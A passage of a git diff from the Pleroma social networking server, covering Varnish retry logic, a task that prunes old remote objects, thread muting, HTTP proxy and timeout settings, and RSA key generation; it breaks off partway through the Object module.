	# Ensure WebSockets through the pipe do not close prematurely
	sub vcl_pipe {
	if (req.http.upgrade) {
	set bereq.http.upgrade = req.http.upgrade;
	set bereq.http.connection = req.http.connection;
	}
	}

	sub vcl_hash {
	# CHUNKED SUPPORT
	if (req.http.x-range ~ "bytes=") {
	hash_data(req.http.x-range);
	unset req.http.Range;
	}
	}

	sub vcl_backend_fetch {
	+ # Be more lenient for slow servers on the fediverse
	+ if bereq.url ~ "^/proxy/" {
	+ set bereq.first_byte_timeout = 300s;
	+ }
	+
	# CHUNKED SUPPORT
	if (bereq.http.x-range) {
	set bereq.http.Range = bereq.http.x-range;
	}
	+
	+ if (bereq.retries == 0) {
	+ # Clean up the X-Varnish-Backend-503 flag that is used internally
	+ # to mark broken backend responses that should be retried.
	+ unset bereq.http.X-Varnish-Backend-503;
	+ } else {
	+ if (bereq.http.X-Varnish-Backend-503) {
	+ if (bereq.method != "POST" &&
	+ std.healthy(bereq.backend) &&
	+ bereq.retries <= 4) {
	+ # Flush broken backend response flag & try again.
	+ unset bereq.http.X-Varnish-Backend-503;
	+ } else {
	+ return (abandon);
	+ }
	+ }
	+ }
	}

	sub vcl_deliver {
	# CHUNKED SUPPORT
	if (resp.http.CR) {
	set resp.http.Content-Range = resp.http.CR;
	unset resp.http.CR;
	}
	}
	+
	+sub vcl_backend_error {
	+ # Retry broken backend responses.
	+ set bereq.http.X-Varnish-Backend-503 = "1";
	+ return (retry);
	+}
	diff --git a/lib/mix/tasks/pleroma/database.ex b/lib/mix/tasks/pleroma/database.ex
	index f650b447d..4d480ac3f 100644
	--- a/lib/mix/tasks/pleroma/database.ex
	+++ b/lib/mix/tasks/pleroma/database.ex
	@@ -1,75 +1,122 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Mix.Tasks.Pleroma.Database do
	alias Mix.Tasks.Pleroma.Common
	alias Pleroma.Conversation
	+ alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.User
	require Logger
	use Mix.Task

	@shortdoc "A collection of database related tasks"
	@moduledoc """
	A collection of database related tasks

	## Replace embedded objects with their references

	Replaces embedded objects with references to them in the `objects` table. Only needs to be ran once. The reason why this is not a migration is because it could significantly increase the database size after being ran, however after this `VACUUM FULL` will be able to reclaim about 20% (really depends on what is in the database, your mileage may vary) of the db size before the migration.

	mix pleroma.database remove_embedded_objects

	Options:
	- `--vacuum` - run `VACUUM FULL` after the embedded objects are replaced with their references

	+ ## Prune old objects from the database
	+
	+ mix pleroma.database prune_objects
	+
	## Create a conversation for all existing DMs. Can be safely re-run.

	mix pleroma.database bump_all_conversations

	## Remove duplicated items from following and update followers count for all users

	mix pleroma.database update_users_following_followers_counts
	"""
	def run(["remove_embedded_objects" \| args]) do
	{options, [], []} =
	OptionParser.parse(
	args,
	strict: [
	vacuum: :boolean
	]
	)

	Common.start_pleroma()
	Logger.info("Removing embedded objects")

	Repo.query!(
	"update activities set data = jsonb_set(data, '{object}'::text[], data->'object'->'id') where data->'object'->>'id' is not null;",
	[],
	timeout: :infinity
	)

	if Keyword.get(options, :vacuum) do
	Logger.info("Runnning VACUUM FULL")

	Repo.query!(
	"vacuum full;",
	[],
	timeout: :infinity
	)
	end
	end

	def run(["bump_all_conversations"]) do
	Common.start_pleroma()
	Conversation.bump_for_all_activities()
	end

	def run(["update_users_following_followers_counts"]) do
	Common.start_pleroma()

	users = Repo.all(User)
	Enum.each(users, &User.remove_duplicated_following/1)
	Enum.each(users, &User.update_follower_count/1)
	end
	+
	+ def run(["prune_objects" \| args]) do
	+ import Ecto.Query
	+
	+ {options, [], []} =
	+ OptionParser.parse(
	+ args,
	+ strict: [
	+ vacuum: :boolean
	+ ]
	+ )
	+
	+ Common.start_pleroma()
	+
	+ deadline = Pleroma.Config.get([:instance, :remote_post_retention_days])
	+
	+ Logger.info("Pruning objects older than #{deadline} days")
	+
	+ time_deadline =
	+ NaiveDateTime.utc_now()
	+ \|> NaiveDateTime.add(-(deadline * 86_400))
	+
	+ public = "https://www.w3.org/ns/activitystreams#Public"
	+
	+ from(o in Object,
	+ where: fragment("?->'to' \\? ? OR ?->'cc' \\? ?", o.data, ^public, o.data, ^public),
	+ where: o.inserted_at < ^time_deadline,
	+ where:
	+ fragment("split_part(?->>'actor', '/', 3) != ?", o.data, ^Pleroma.Web.Endpoint.host())
	+ )
	+ \|> Repo.delete_all(timeout: :infinity)
	+
	+ if Keyword.get(options, :vacuum) do
	+ Logger.info("Runnning VACUUM FULL")
	+
	+ Repo.query!(
	+ "vacuum full;",
	+ [],
	+ timeout: :infinity
	+ )
	+ end
	+ end
	end
	diff --git a/lib/pleroma/activity.ex b/lib/pleroma/activity.ex
	index 4e54b15ba..99589590c 100644
	--- a/lib/pleroma/activity.ex
	+++ b/lib/pleroma/activity.ex
	@@ -1,334 +1,346 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Activity do
	use Ecto.Schema

	alias Pleroma.Activity
	alias Pleroma.Bookmark
	alias Pleroma.Notification
	alias Pleroma.Object
	alias Pleroma.Repo
	+ alias Pleroma.ThreadMute
	alias Pleroma.User

	import Ecto.Changeset
	import Ecto.Query

	@type t :: %__MODULE__{}
	@type actor :: String.t()

	@primary_key {:id, Pleroma.FlakeId, autogenerate: true}

	# https://github.com/tootsuite/mastodon/blob/master/app/models/notification.rb#L19
	@mastodon_notification_types %{
	"Create" => "mention",
	"Follow" => "follow",
	"Announce" => "reblog",
	"Like" => "favourite"
	}

	@mastodon_to_ap_notification_types for {k, v} <- @mastodon_notification_types,
	into: %{},
	do: {v, k}

	schema "activities" do
	field(:data, :map)
	field(:local, :boolean, default: true)
	field(:actor, :string)
	field(:recipients, {:array, :string}, default: [])
	+ field(:thread_muted?, :boolean, virtual: true)
	# This is a fake relation, do not use outside of with_preloaded_bookmark/get_bookmark
	has_one(:bookmark, Bookmark)
	has_many(:notifications, Notification, on_delete: :delete_all)

	# Attention: this is a fake relation, don't try to preload it blindly and expect it to work!
	# The foreign key is embedded in a jsonb field.
	#
	# To use it, you probably want to do an inner join and a preload:
	#
	# ```
	# \|> join(:inner, [activity], o in Object,
	# on: fragment("(?->>'id') = COALESCE((?)->'object'->> 'id', (?)->>'object')",
	# o.data, activity.data, activity.data))
	# \|> preload([activity, object], [object: object])
	# ```
	#
	# As a convenience, Activity.with_preloaded_object() sets up an inner join and preload for the
	# typical case.
	has_one(:object, Object, on_delete: :nothing, foreign_key: :id)

	timestamps()
	end

	def with_joined_object(query) do
	join(query, :inner, [activity], o in Object,
	on:
	fragment(
	"(?->>'id') = COALESCE(?->'object'->>'id', ?->>'object')",
	o.data,
	activity.data,
	activity.data
	),
	as: :object
	)
	end

	def with_preloaded_object(query) do
	query
	\|> has_named_binding?(:object)
	\|> if(do: query, else: with_joined_object(query))
	\|> preload([activity, object: object], object: object)
	end

	def with_preloaded_bookmark(query, %User{} = user) do
	from([a] in query,
	left_join: b in Bookmark,
	on: b.user_id == ^user.id and b.activity_id == a.id,
	preload: [bookmark: b]
	)
	end

	def with_preloaded_bookmark(query, _), do: query

	+ def with_set_thread_muted_field(query, %User{} = user) do
	+ from([a] in query,
	+ left_join: tm in ThreadMute,
	+ on: tm.user_id == ^user.id and tm.context == fragment("?->>'context'", a.data),
	+ select: %Activity{a \| thread_muted?: not is_nil(tm.id)}
	+ )
	+ end
	+
	+ def with_set_thread_muted_field(query, _), do: query
	+
	def get_by_ap_id(ap_id) do
	Repo.one(
	from(
	activity in Activity,
	where: fragment("(?)->>'id' = ?", activity.data, ^to_string(ap_id))
	)
	)
	end

	def get_bookmark(%Activity{} = activity, %User{} = user) do
	if Ecto.assoc_loaded?(activity.bookmark) do
	activity.bookmark
	else
	Bookmark.get(user.id, activity.id)
	end
	end

	def get_bookmark(_, _), do: nil

	def change(struct, params \\ %{}) do
	struct
	\|> cast(params, [:data, :recipients])
	\|> validate_required([:data])
	\|> unique_constraint(:ap_id, name: :activities_unique_apid_index)
	end

	def get_by_ap_id_with_object(ap_id) do
	Repo.one(
	from(
	activity in Activity,
	where: fragment("(?)->>'id' = ?", activity.data, ^to_string(ap_id)),
	left_join: o in Object,
	on:
	fragment(
	"(?->>'id') = COALESCE(?->'object'->>'id', ?->>'object')",
	o.data,
	activity.data,
	activity.data
	),
	preload: [object: o]
	)
	)
	end

	def get_by_id(id) do
	Activity
	\|> where([a], a.id == ^id)
	\|> restrict_deactivated_users()
	\|> Repo.one()
	end

	def get_by_id_with_object(id) do
	from(activity in Activity,
	where: activity.id == ^id,
	inner_join: o in Object,
	on:
	fragment(
	"(?->>'id') = COALESCE(?->'object'->>'id', ?->>'object')",
	o.data,
	activity.data,
	activity.data
	),
	preload: [object: o]
	)
	\|> Repo.one()
	end

	def by_object_ap_id(ap_id) do
	from(
	activity in Activity,
	where:
	fragment(
	"coalesce((?)->'object'->>'id', (?)->>'object') = ?",
	activity.data,
	activity.data,
	^to_string(ap_id)
	)
	)
	end

	def create_by_object_ap_id(ap_ids) when is_list(ap_ids) do
	from(
	activity in Activity,
	where:
	fragment(
	"coalesce((?)->'object'->>'id', (?)->>'object') = ANY(?)",
	activity.data,
	activity.data,
	^ap_ids
	),
	where: fragment("(?)->>'type' = 'Create'", activity.data)
	)
	end

	def create_by_object_ap_id(ap_id) when is_binary(ap_id) do
	from(
	activity in Activity,
	where:
	fragment(
	"coalesce((?)->'object'->>'id', (?)->>'object') = ?",
	activity.data,
	activity.data,
	^to_string(ap_id)
	),
	where: fragment("(?)->>'type' = 'Create'", activity.data)
	)
	end

	def create_by_object_ap_id(_), do: nil

	def get_all_create_by_object_ap_id(ap_id) do
	Repo.all(create_by_object_ap_id(ap_id))
	end

	def get_create_by_object_ap_id(ap_id) when is_binary(ap_id) do
	create_by_object_ap_id(ap_id)
	\|> restrict_deactivated_users()
	\|> Repo.one()
	end

	def get_create_by_object_ap_id(_), do: nil

	def create_by_object_ap_id_with_object(ap_id) when is_binary(ap_id) do
	from(
	activity in Activity,
	where:
	fragment(
	"coalesce((?)->'object'->>'id', (?)->>'object') = ?",
	activity.data,
	activity.data,
	^to_string(ap_id)
	),
	where: fragment("(?)->>'type' = 'Create'", activity.data),
	inner_join: o in Object,
	on:
	fragment(
	"(?->>'id') = COALESCE(?->'object'->>'id', ?->>'object')",
	o.data,
	activity.data,
	activity.data
	),
	preload: [object: o]
	)
	end

	def create_by_object_ap_id_with_object(_), do: nil

	def get_create_by_object_ap_id_with_object(ap_id) when is_binary(ap_id) do
	ap_id
	\|> create_by_object_ap_id_with_object()
	\|> Repo.one()
	end

	def get_create_by_object_ap_id_with_object(_), do: nil

	defp get_in_reply_to_activity_from_object(%Object{data: %{"inReplyTo" => ap_id}}) do
	get_create_by_object_ap_id_with_object(ap_id)
	end

	defp get_in_reply_to_activity_from_object(_), do: nil

	def get_in_reply_to_activity(%Activity{data: %{"object" => object}}) do
	get_in_reply_to_activity_from_object(Object.normalize(object))
	end

	def normalize(obj) when is_map(obj), do: get_by_ap_id_with_object(obj["id"])
	def normalize(ap_id) when is_binary(ap_id), do: get_by_ap_id_with_object(ap_id)
	def normalize(_), do: nil

	def delete_by_ap_id(id) when is_binary(id) do
	by_object_ap_id(id)
	\|> select([u], u)
	\|> Repo.delete_all()
	\|> elem(1)
	\|> Enum.find(fn
	%{data: %{"type" => "Create", "object" => ap_id}} when is_binary(ap_id) -> ap_id == id
	%{data: %{"type" => "Create", "object" => %{"id" => ap_id}}} -> ap_id == id
	_ -> nil
	end)
	end

	def delete_by_ap_id(_), do: nil

	for {ap_type, type} <- @mastodon_notification_types do
	def mastodon_notification_type(%Activity{data: %{"type" => unquote(ap_type)}}),
	do: unquote(type)
	end

	def mastodon_notification_type(%Activity{}), do: nil

	def from_mastodon_notification_type(type) do
	Map.get(@mastodon_to_ap_notification_types, type)
	end

	def all_by_actor_and_id(actor, status_ids \\ [])
	def all_by_actor_and_id(_actor, []), do: []

	def all_by_actor_and_id(actor, status_ids) do
	Activity
	\|> where([s], s.id in ^status_ids)
	\|> where([s], s.actor == ^actor)
	\|> Repo.all()
	end

	def follow_requests_for_actor(%Pleroma.User{ap_id: ap_id}) do
	from(
	a in Activity,
	where:
	fragment(
	"? ->> 'type' = 'Follow'",
	a.data
	),
	where:
	fragment(
	"? ->> 'state' = 'pending'",
	a.data
	),
	where:
	fragment(
	"coalesce((?)->'object'->>'id', (?)->>'object') = ?",
	a.data,
	a.data,
	^ap_id
	)
	)
	end

	@spec query_by_actor(actor()) :: Ecto.Query.t()
	def query_by_actor(actor) do
	from(a in Activity, where: a.actor == ^actor)
	end

	def restrict_deactivated_users(query) do
	from(activity in query,
	where:
	fragment(
	"? not in (SELECT ap_id FROM users WHERE info->'deactivated' @> 'true')",
	activity.actor
	)
	)
	end
	end
	diff --git a/lib/pleroma/application.ex b/lib/pleroma/application.ex
	index eeb415084..76df3945e 100644
	--- a/lib/pleroma/application.ex
	+++ b/lib/pleroma/application.ex
	@@ -1,186 +1,190 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Application do
	use Application
	import Supervisor.Spec

	@name Mix.Project.config()[:name]
	@version Mix.Project.config()[:version]
	@repository Mix.Project.config()[:source_url]
	def name, do: @name
	def version, do: @version
	def named_version, do: @name <> " " <> @version
	def repository, do: @repository

	def user_agent do
	info = "#{Pleroma.Web.base_url()} <#{Pleroma.Config.get([:instance, :email], "")}>"
	named_version() <> "; " <> info
	end

	# See http://elixir-lang.org/docs/stable/elixir/Application.html
	# for more information on OTP Applications
	def start(_type, _args) do
	import Cachex.Spec

	Pleroma.Config.DeprecationWarnings.warn()
	setup_instrumenters()

	# Define workers and child supervisors to be supervised
	children =
	[
	# Start the Ecto repository
	supervisor(Pleroma.Repo, []),
	worker(Pleroma.Emoji, []),
	worker(Pleroma.Captcha, []),
	worker(
	Cachex,
	[
	:used_captcha_cache,
	[
	ttl_interval: :timer.seconds(Pleroma.Config.get!([Pleroma.Captcha, :seconds_valid]))
	]
	],
	id: :cachex_used_captcha_cache
	),
	worker(
	Cachex,
	[
	:user_cache,
	[
	default_ttl: 25_000,
	ttl_interval: 1000,
	limit: 2500
	]
	],
	id: :cachex_user
	),
	worker(
	Cachex,
	[
	:object_cache,
	[
	default_ttl: 25_000,
	ttl_interval: 1000,
	limit: 2500
	]
	],
	id: :cachex_object
	),
	worker(
	Cachex,
	[
	:rich_media_cache,
	[
	default_ttl: :timer.minutes(120),
	limit: 5000
	]
	],
	id: :cachex_rich_media
	),
	worker(
	Cachex,
	[
	:scrubber_cache,
	[
	limit: 2500
	]
	],
	id: :cachex_scrubber
	),
	worker(
	Cachex,
	[
	:idempotency_cache,
	[
	expiration:
	expiration(
	default: :timer.seconds(6 * 60 * 60),
	interval: :timer.seconds(60)
	),
	limit: 2500
	]
	],
	id: :cachex_idem
	),
	worker(Pleroma.FlakeId, []),
	worker(Pleroma.ScheduledActivityWorker, [])
	] ++
	hackney_pool_children() ++
	[
	worker(Pleroma.Web.Federator.RetryQueue, []),
	+ worker(Pleroma.Web.OAuth.Token.CleanWorker, []),
	worker(Pleroma.Stats, []),
	worker(Task, [&Pleroma.Web.Push.init/0], restart: :temporary, id: :web_push_init),
	worker(Task, [&Pleroma.Web.Federator.init/0], restart: :temporary, id: :federator_init)
	] ++
	streamer_child() ++
	chat_child() ++
	[
	# Start the endpoint when the application starts
	supervisor(Pleroma.Web.Endpoint, []),
	worker(Pleroma.Gopher.Server, [])
	]

	# See http://elixir-lang.org/docs/stable/elixir/Supervisor.html
	# for other strategies and supported options
	opts = [strategy: :one_for_one, name: Pleroma.Supervisor]
	Supervisor.start_link(children, opts)
	end

	defp setup_instrumenters do
	require Prometheus.Registry

	- :ok =
	- :telemetry.attach(
	- "prometheus-ecto",
	- [:pleroma, :repo, :query],
	- &Pleroma.Repo.Instrumenter.handle_event/4,
	- %{}
	- )
	+ if Application.get_env(:prometheus, Pleroma.Repo.Instrumenter) do
	+ :ok =
	+ :telemetry.attach(
	+ "prometheus-ecto",
	+ [:pleroma, :repo, :query],
	+ &Pleroma.Repo.Instrumenter.handle_event/4,
	+ %{}
	+ )
	+
	+ Pleroma.Repo.Instrumenter.setup()
	+ end

	Prometheus.Registry.register_collector(:prometheus_process_collector)
	Pleroma.Web.Endpoint.MetricsExporter.setup()
	Pleroma.Web.Endpoint.PipelineInstrumenter.setup()
	Pleroma.Web.Endpoint.Instrumenter.setup()
	- Pleroma.Repo.Instrumenter.setup()
	end

	def enabled_hackney_pools do
	[:media] ++
	if Application.get_env(:tesla, :adapter) == Tesla.Adapter.Hackney do
	[:federation]
	else
	[]
	end ++
	if Pleroma.Config.get([Pleroma.Uploader, :proxy_remote]) do
	[:upload]
	else
	[]
	end
	end

	if Mix.env() == :test do
	defp streamer_child, do: []
	defp chat_child, do: []
	else
	defp streamer_child do
	[worker(Pleroma.Web.Streamer, [])]
	end

	defp chat_child do
	if Pleroma.Config.get([:chat, :enabled]) do
	[worker(Pleroma.Web.ChatChannel.ChatChannelState, [])]
	else
	[]
	end
	end
	end

	defp hackney_pool_children do
	for pool <- enabled_hackney_pools() do
	options = Pleroma.Config.get([:hackney_pools, pool])
	:hackney_pool.child_spec(pool, options)
	end
	end
	end
	diff --git a/lib/pleroma/formatter.ex b/lib/pleroma/formatter.ex
	index 3d7c36d21..607843a5b 100644
	--- a/lib/pleroma/formatter.ex
	+++ b/lib/pleroma/formatter.ex
	@@ -1,182 +1,182 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Formatter do
	alias Pleroma.Emoji
	alias Pleroma.HTML
	alias Pleroma.User
	alias Pleroma.Web.MediaProxy

	- @safe_mention_regex ~r/^(\s(?<mentions>@.+?\s+)+)(?<rest>.)/
	+ @safe_mention_regex ~r/^(\s(?<mentions>(@.+?\s+){1,})+)(?<rest>.)/s
	@link_regex ~r"((?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~%:/?#[\]@!\$&'\\+,;=.]+)\|[0-9a-z+\-\.]+:[0-9a-z$-_.+!'(),]+"ui
	@markdown_characters_regex ~r/(`\|\*\|_\|{\|}\|[\|]\|$\|$\|#\|\+\|-\|\.\|!)/

	@auto_linker_config hashtag: true,
	hashtag_handler: &Pleroma.Formatter.hashtag_handler/4,
	mention: true,
	mention_handler: &Pleroma.Formatter.mention_handler/4

	def escape_mention_handler("@" <> nickname = mention, buffer, _, _) do
	case User.get_cached_by_nickname(nickname) do
	%User{} ->
	# escape markdown characters with `\\`
	# (we don't want something like @user__name to be parsed by markdown)
	String.replace(mention, @markdown_characters_regex, "\\\\\\1")

	_ ->
	buffer
	end
	end

	def mention_handler("@" <> nickname, buffer, opts, acc) do
	case User.get_cached_by_nickname(nickname) do
	%User{id: id} = user ->
	ap_id = get_ap_id(user)
	nickname_text = get_nickname_text(nickname, opts)

	link =
	"<span class='h-card'><a data-user='#{id}' class='u-url mention' href='#{ap_id}'>@<span>#{
	nickname_text
	}</span></a></span>"

	{link, %{acc \| mentions: MapSet.put(acc.mentions, {"@" <> nickname, user})}}

	_ ->
	{buffer, acc}
	end
	end

	def hashtag_handler("#" <> tag = tag_text, _buffer, _opts, acc) do
	tag = String.downcase(tag)
	url = "#{Pleroma.Web.base_url()}/tag/#{tag}"
	link = "<a class='hashtag' data-tag='#{tag}' href='#{url}' rel='tag'>#{tag_text}</a>"

	{link, %{acc \| tags: MapSet.put(acc.tags, {tag_text, tag})}}
	end

	@doc """
	Parses a text and replace plain text links with HTML. Returns a tuple with a result text, mentions, and hashtags.

	If the 'safe_mention' option is given, only consecutive mentions at the start the post are actually mentioned.
	"""
	@spec linkify(String.t(), keyword()) ::
	{String.t(), [{String.t(), User.t()}], [{String.t(), String.t()}]}
	def linkify(text, options \\ []) do
	options = options ++ @auto_linker_config

	if options[:safe_mention] && Regex.named_captures(@safe_mention_regex, text) do
	%{"mentions" => mentions, "rest" => rest} = Regex.named_captures(@safe_mention_regex, text)
	acc = %{mentions: MapSet.new(), tags: MapSet.new()}

	{text_mentions, %{mentions: mentions}} = AutoLinker.link_map(mentions, acc, options)
	{text_rest, %{tags: tags}} = AutoLinker.link_map(rest, acc, options)

	{text_mentions <> text_rest, MapSet.to_list(mentions), MapSet.to_list(tags)}
	else
	acc = %{mentions: MapSet.new(), tags: MapSet.new()}
	{text, %{mentions: mentions, tags: tags}} = AutoLinker.link_map(text, acc, options)

	{text, MapSet.to_list(mentions), MapSet.to_list(tags)}
	end
	end

	@doc """
	Escapes a special characters in mention names.
	"""
	def mentions_escape(text, options \\ []) do
	options =
	Keyword.merge(options,
	mention: true,
	url: false,
	mention_handler: &Pleroma.Formatter.escape_mention_handler/4
	)

	if options[:safe_mention] && Regex.named_captures(@safe_mention_regex, text) do
	%{"mentions" => mentions, "rest" => rest} = Regex.named_captures(@safe_mention_regex, text)
	AutoLinker.link(mentions, options) <> AutoLinker.link(rest, options)
	else
	AutoLinker.link(text, options)
	end
	end

	def emojify(text) do
	emojify(text, Emoji.get_all())
	end

	def emojify(text, nil), do: text

	def emojify(text, emoji, strip \\ false) do
	Enum.reduce(emoji, text, fn emoji_data, text ->
	emoji = HTML.strip_tags(elem(emoji_data, 0))
	file = HTML.strip_tags(elem(emoji_data, 1))

	html =
	if not strip do
	"<img class='emoji' alt='#{emoji}' title='#{emoji}' src='#{MediaProxy.url(file)}' />"
	else
	""
	end

	String.replace(text, ":#{emoji}:", html) \|> HTML.filter_tags()
	end)
	end

	def demojify(text) do
	emojify(text, Emoji.get_all(), true)
	end

	def demojify(text, nil), do: text

	@doc "Outputs a list of the emoji-shortcodes in a text"
	def get_emoji(text) when is_binary(text) do
	Enum.filter(Emoji.get_all(), fn {emoji, _, _} -> String.contains?(text, ":#{emoji}:") end)
	end

	def get_emoji(_), do: []

	@doc "Outputs a list of the emoji-Maps in a text"
	def get_emoji_map(text) when is_binary(text) do
	get_emoji(text)
	\|> Enum.reduce(%{}, fn {name, file, _group}, acc ->
	Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
	end)
	end

	def get_emoji_map(_), do: []

	def html_escape({text, mentions, hashtags}, type) do
	{html_escape(text, type), mentions, hashtags}
	end

	def html_escape(text, "text/html") do
	HTML.filter_tags(text)
	end

	def html_escape(text, "text/plain") do
	Regex.split(@link_regex, text, include_captures: true)
	\|> Enum.map_every(2, fn chunk ->
	{:safe, part} = Phoenix.HTML.html_escape(chunk)
	part
	end)
	\|> Enum.join("")
	end

	def truncate(text, max_length \\ 200, omission \\ "...") do
	# Remove trailing whitespace
	text = Regex.replace(~r/([^ \t\r\n])([ \t]+$)/u, text, "\\g{1}")

	if String.length(text) < max_length do
	text
	else
	length_with_omission = max_length - String.length(omission)
	String.slice(text, 0, length_with_omission) <> omission
	end
	end

	defp get_ap_id(%User{info: %{source_data: %{"url" => url}}}) when is_binary(url), do: url
	defp get_ap_id(%User{ap_id: ap_id}), do: ap_id

	defp get_nickname_text(nickname, %{mentions_format: :full}), do: User.full_nickname(nickname)
	defp get_nickname_text(nickname, _), do: User.local_nickname(nickname)
	end
	diff --git a/lib/pleroma/http/connection.ex b/lib/pleroma/http/connection.ex
	index c0173465a..c216cdcb1 100644
	--- a/lib/pleroma/http/connection.ex
	+++ b/lib/pleroma/http/connection.ex
	@@ -1,40 +1,42 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.HTTP.Connection do
	@moduledoc """
	Connection for http-requests.
	"""

	@hackney_options [
	- connect_timeout: 2_000,
	+ connect_timeout: 10_000,
	recv_timeout: 20_000,
	follow_redirect: true,
	pool: :federation
	]
	@adapter Application.get_env(:tesla, :adapter)

	@doc """
	Configure a client connection

	# Returns

	Tesla.Env.client
	"""
	@spec new(Keyword.t()) :: Tesla.Env.client()
	def new(opts \\ []) do
	Tesla.client([], {@adapter, hackney_options(opts)})
	end

	# fetch Hackney options
	#
	defp hackney_options(opts) do
	options = Keyword.get(opts, :adapter, [])
	adapter_options = Pleroma.Config.get([:http, :adapter], [])
	+ proxy_url = Pleroma.Config.get([:http, :proxy_url], nil)

	@hackney_options
	\|> Keyword.merge(adapter_options)
	\|> Keyword.merge(options)
	+ \|> Keyword.merge(proxy: proxy_url)
	end
	end
	diff --git a/lib/pleroma/keys.ex b/lib/pleroma/keys.ex
	new file mode 100644
	index 000000000..b7bc7a4da
	--- /dev/null
	+++ b/lib/pleroma/keys.ex
	@@ -0,0 +1,44 @@
	+# Pleroma: A lightweight social networking server
	+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	+# SPDX-License-Identifier: AGPL-3.0-only
	+
	+defmodule Pleroma.Keys do
	+ # Native generation of RSA keys is only available since OTP 20+ and in default build conditions
	+ # We try at compile time to generate natively an RSA key otherwise we fallback on the old way.
	+ try do
	+ _ = :public_key.generate_key({:rsa, 2048, 65_537})
	+
	+ def generate_rsa_pem do
	+ key = :public_key.generate_key({:rsa, 2048, 65_537})
	+ entry = :public_key.pem_entry_encode(:RSAPrivateKey, key)
	+ pem = :public_key.pem_encode([entry]) \|> String.trim_trailing()
	+ {:ok, pem}
	+ end
	+ rescue
	+ _ ->
	+ def generate_rsa_pem do
	+ port = Port.open({:spawn, "openssl genrsa"}, [:binary])
	+
	+ {:ok, pem} =
	+ receive do
	+ {^port, {:data, pem}} -> {:ok, pem}
	+ end
	+
	+ Port.close(port)
	+
	+ if Regex.match?(~r/RSA PRIVATE KEY/, pem) do
	+ {:ok, pem}
	+ else
	+ :error
	+ end
	+ end
	+ end
	+
	+ def keys_from_pem(pem) do
	+ [private_key_code] = :public_key.pem_decode(pem)
	+ private_key = :public_key.pem_entry_decode(private_key_code)
	+ {:RSAPrivateKey, _, modulus, exponent, _, _, _, _, _, _, _} = private_key
	+ public_key = {:RSAPublicKey, modulus, exponent}
	+ {:ok, private_key, public_key}
	+ end
	+end
	diff --git a/lib/pleroma/object.ex b/lib/pleroma/object.ex
	index 740d687a3..cc6fc9c5d 100644
	--- a/lib/pleroma/object.ex
	+++ b/lib/pleroma/object.ex
	@@ -1,191 +1,198 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Object do
	use Ecto.Schema

	alias Pleroma.Activity
	alias Pleroma.Object
	alias Pleroma.Object.Fetcher
	alias Pleroma.ObjectTombstone
	alias Pleroma.Repo
	alias Pleroma.User

	import Ecto.Query
	import Ecto.Changeset

	require Logger

	schema "objects" do
	field(:data, :map)

	timestamps()
	end

	def create(data) do
	Object.change(%Object{}, %{data: data})
	\|> Repo.insert()
	end

	def change(struct, params \\ %{}) do
	struct
	\|> cast(params, [:data])
	\|> validate_required([:data])
	\|> unique_constraint(:ap_id, name: :objects_unique_apid_index)
	end

	def get_by_ap_id(nil), do: nil

	def get_by_ap_id(ap_id) do
	Repo.one(from(object in Object, where: fragment("(?)->>'id' = ?", object.data, ^ap_id)))
	end

	def normalize(_, fetch_remote \\ true)
	# If we pass an Activity to Object.normalize(), we can try to use the preloaded object.
	# Use this whenever possible, especially when walking graphs in an O(N) loop!
	def normalize(%Object{} = object, _), do: object
	def normalize(%Activity{object: %Object{} = object}, _), do: object

	# A hack for fake activities
	def normalize(%Activity{data: %{"object" => %{"fake" => true} = data}}, _) do
	%Object{id: "pleroma:fake_object_id", data: data}
	end

	# Catch and log Object.normalize() calls where the Activity's child object is not
	# preloaded.
	def normalize(%Activity{data: %{"object" => %{"id" => ap_id}}}, fetch_remote) do
	Logger.debug(
	"Object.normalize() called without preloaded object (#{ap_id}). Consider preloading the object!"
	)

	Logger.debug("Backtrace: #{inspect(Process.info(:erlang.self(), :current_stacktrace))}")

	normalize(ap_id, fetch_remote)
	end

	def normalize(%Activity{data: %{"object" => ap_id}}, fetch_remote) do
	Logger.debug(
	"Object.normalize() called without preloaded object (#{ap_id}). Consider preloading the object!"
	)

	Logger.debug("Backtrace: #{inspect(Process.info(:erlang.self(), :current_stacktrace))}")

	normalize(ap_id, fetch_remote)
	end

	# Old way, try fetching the object through cache.
	def normalize(%{"id" => ap_id}, fetch_remote), do: normalize(ap_id, fetch_remote)
	def normalize(ap_id, false) when is_binary(ap_id), do: get_cached_by_ap_id(ap_id)
	def normalize(ap_id, true) when is_binary(ap_id), do: Fetcher.fetch_object_from_id!(ap_id)
	def normalize(_, _), do: nil

	# Owned objects can only be mutated by their owner
	def authorize_mutation(%Object{data: %{"actor" => actor}}, %User{ap_id: ap_id}),
	do: actor == ap_id

	# Legacy objects can be mutated by anybody
	def authorize_mutation(%Object{}, %User{}), do: true

	def get_cached_by_ap_id(ap_id) do
	key = "object:#{ap_id}"

	Cachex.fetch!(:object_cache, key, fn _ ->
	object = get_by_ap_id(ap_id)

	if object do
	{:commit, object}
	else
	{:ignore, object}
	end
	end)
	end

	def context_mapping(context) do
	Object.change(%Object{}, %{data: %{"id" => context}})
	end

	def make_tombstone(%Object{data: %{"id" => id, "type" => type}}, deleted \\ DateTime.utc_now()) do
	%ObjectTombstone{
	id: id,
	formerType: type,
	deleted: deleted
	}
	\|> Map.from_struct()
	end

	def swap_object_with_tombstone(object) do
	tombstone = make_tombstone(object)

	object
